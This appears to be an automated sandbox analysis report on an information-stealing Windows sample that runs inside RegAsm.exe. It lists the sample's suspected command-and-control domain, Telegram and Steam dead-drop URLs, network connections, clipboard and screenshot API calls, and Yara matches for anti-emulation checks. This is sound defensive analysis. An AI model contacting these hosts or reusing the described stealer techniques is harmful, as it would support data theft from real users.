Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000567000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://stadiatechnologies.comntent-Disposition:
Source: Amcache.hve.33.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, HDAFIIDAKJ.exe.29.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.1426312746.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1399562953.000000001B63E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1943907695.000000002450D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1937546619.000000001E56E000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.29.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000029.00000002.1938989194.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://condedqpwqm.shop/T
Source: RegAsm.exe, 00000018.00000002.1483311475.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://condedqpwqm.shop/api
Source: RegAsm.exe, 00000029.00000002.1938989194.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://condedqpwqm.shop/api.
Source: RegAsm.exe, 00000018.00000002.1483311475.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://condedqpwqm.shop/api45
Source: RegAsm.exe, 00000018.00000002.1483311475.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://condedqpwqm.shop/apip
Source: RegAsm.exe, 00000018.00000002.1483311475.0000000001196000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://condedqpwqm.shop/apitK
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KJJJKFIIIJJJECAAEHDB.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: https://mozilla.org0/
Source: userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941
Source: IJKJJK.29.dr	String found in binary or memory: https://support.mozilla.org
Source: IJKJJK.29.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJKJJK.29.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/(
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/9
Source: userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/iyigunl
Source: userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/iyigunlsql.dllsqlr.dllIn
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.000000000044C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2205091531.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamelwt
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamelwt#cp
Source: userIEHDAFHDHC.exe, 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamelwtkwnvfdhttps://steamcommunity.com/profiles/76561199761128941b
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/nLbZ
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: RegAsm.exe, 00000029.00000002.1938989194.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: RegAsm.exe, 00000029.00000002.1938989194.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: RegAsm.exe, 0000001D.00000002.1944158611.000000002492D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1948243243.000000002A890000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1966611743.000000004264F000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.3.dr, softokn3[1].dll.29.dr, freebl3.dll.3.dr, freebl3[1].dll.29.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, HDAFIIDAKJ.exe.29.dr, 66cf75d3791d7_vrewqgq[1].exe.3.dr, 66cf818156193_ldjfnsfd[1].exe.3.dr, userFBKFCFBFID.exe.3.dr, userIEHDAFHDHC.exe.3.dr, DHCGHDHIDH.exe.29.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: BAAEHD.29.dr, AECFCAAE.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, JKFIDG.29.dr, KJJJKFIIIJJJECAAEHDB.3.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: IJKJJK.29.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1936827906.000000001E0AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IJKJJK.29.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: RegAsm.exe, 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1936827906.000000001E0AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IJKJJK.29.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: RegAsm.exe, 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1936827906.000000001E0AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/chost.exe
Source: GIJEGDAKEHJECAKEGDHJDHDAFH.3.dr, IJKJJK.29.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: IJKJJK.29.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1936827906.000000001E0AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/YSAESCTrC.exe
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: GIJEGDAKEHJECAKEGDHJDHDAFH.3.dr, IJKJJK.29.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49740 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 24_2_00431530 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

24_2_00431530

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 24_2_00431530 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

24_2_00431530

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00418AB0 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00418AB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 29.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 29.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 27.2.userIEHDAFHDHC.exe.38b5570.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 27.2.userIEHDAFHDHC.exe.38b5570.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: Process Memory Space: userIEHDAFHDHC.exe PID: 7444, type: MEMORYSTR	Matched rule: Detects Molerats sample - July 2017 Author: Florian Roth

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 192000
Source: userFBKFCFBFID.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 308224
Source: 66cf818156193_ldjfnsfd[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 308224
Source: userIEHDAFHDHC.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 176128
Source: 66cf75d3791d7_vrewqgq[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 176128
Source: DHCGHDHIDH.exe.29.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 308224
Source: HDAFIIDAKJ.exe.29.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 176128

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBAB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6CBAB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBAB8C0 rand_s,NtQueryVirtualMemory,	3_2_6CBAB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBAB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6CBAB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB4F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6CB4F280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA1B8C0 NtQueryVirtualMemory,	29_2_6CA1B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA1B910 NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlRestoreLastWin32Error,GetLastError,	29_2_6CA1B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CA1B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlRestoreLastWin32Error,	29_2_6CA1B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6C9BF280 NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlRestoreLastWin32Error,	29_2_6C9BF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01740B20	0_2_01740B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB435A0	3_2_6CB435A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBA34A0	3_2_6CBA34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBAC4A0	3_2_6CBAC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB56C80	3_2_6CB56C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB86CF0	3_2_6CB86CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB4D4E0	3_2_6CB4D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB6D4D0	3_2_6CB6D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB564C0	3_2_6CB564C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBB542B	3_2_6CBB542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB85C10	3_2_6CB85C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB92C10	3_2_6CB92C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBBAC00	3_2_6CBBAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBB545C	3_2_6CBB545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB55440	3_2_6CB55440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBA85F0	3_2_6CBA85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB80DD0	3_2_6CB80DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB70512	3_2_6CB70512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB6ED10	3_2_6CB6ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB5FD00	3_2_6CB5FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBA4EA0	3_2_6CBA4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB65E90	3_2_6CB65E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBAE680	3_2_6CBAE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB4BEF0	3_2_6CB4BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB5FEF0	3_2_6CB5FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBB76E3	3_2_6CBB76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBA9E30	3_2_6CBA9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB87E10	3_2_6CB87E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB95600	3_2_6CB95600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB4C670	3_2_6CB4C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBB6E63	3_2_6CBB6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB69E50	3_2_6CB69E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB83E50	3_2_6CB83E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB64640	3_2_6CB64640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB92E4E	3_2_6CB92E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB977A0	3_2_6CB977A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB76FF0	3_2_6CB76FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB4DFE0	3_2_6CB4DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB87710	3_2_6CB87710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB59F00	3_2_6CB59F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB760A0	3_2_6CB760A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB6C0E0	3_2_6CB6C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB858E0	3_2_6CB858E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBB50C7	3_2_6CBB50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB8B820	3_2_6CB8B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB94820	3_2_6CB94820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB57810	3_2_6CB57810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB8F070	3_2_6CB8F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB68850	3_2_6CB68850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB6D850	3_2_6CB6D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB7D9B0	3_2_6CB7D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB4C9A0	3_2_6CB4C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB85190	3_2_6CB85190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBA2990	3_2_6CBA2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB9B970	3_2_6CB9B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CBBB170	3_2_6CBBB170
